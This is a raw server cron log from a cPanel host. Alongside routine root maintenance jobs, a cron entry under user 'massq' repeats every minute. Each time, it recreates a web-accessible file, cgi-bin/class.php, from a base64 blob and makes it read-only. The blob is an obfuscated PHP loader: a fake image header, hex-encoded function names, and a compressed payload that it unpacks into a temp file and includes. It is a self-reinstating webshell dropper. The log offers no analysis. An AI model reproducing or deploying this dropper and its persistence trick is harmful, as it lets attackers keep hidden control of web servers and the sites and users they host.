Sep 11 11:56:01 server CROND[12459]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:56:01 server CROND[12460]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:57:01 server CROND[12838]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:57:01 server CROND[12839]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 11:57:01 server CROND[12837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:57:01 server CROND[12840]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:58:01 server CROND[13211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:58:01 server CROND[13212]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:58:01 server CROND[13210]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:59:01 server CROND[13598]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:59:01 server CROND[13599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:59:01 server CROND[13601]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:00:01 server CROND[14046]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:00:01 server CROND[14049]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 12:00:01 server CROND[14053]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Sep 11 12:00:01 server CROND[14055]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 11 12:00:01 server CROND[14060]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 12:00:01 server CROND[14057]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 11 12:00:01 server CROND[14058]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 12:00:01 server CROND[14063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:00:01 server CROND[14064]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 12:00:01 server CROND[14061]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:00:01 server CROND[14056]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 12:01:01 server CROND[15004]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 12:01:01 server CROND[15005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:01:01 server CROND[15006]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:01:01 server CROND[15007]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:01:01 server run-parts(/etc/cron.hourly)[15004]: starting 0anacron
Sep 11 12:01:01 server run-parts(/etc/cron.hourly)[15026]: finished 0anacron
Sep 11 12:02:01 server CROND[15419]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:02:01 server CROND[15420]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:02:01 server CROND[15421]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:03:01 server CROND[15800]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:03:01 server CROND[15801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:03:01 server CROND[15802]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:04:01 server CROND[16186]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:04:01 server CROND[16185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:04:01 server CROND[16187]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:05:01 server CROND[16571]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 12:05:01 server CROND[16575]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:05:01 server CROND[16580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:05:02 server CROND[16594]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 12:05:02 server CROND[16593]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 12:05:02 server CROND[16595]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:05:02 server CROND[16596]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 12:05:02 server CROND[16597]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 12:06:01 server CROND[17506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:06:01 server CROND[17507]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:06:01 server CROND[17508]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:07:01 server CROND[17885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:07:01 server CROND[17887]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
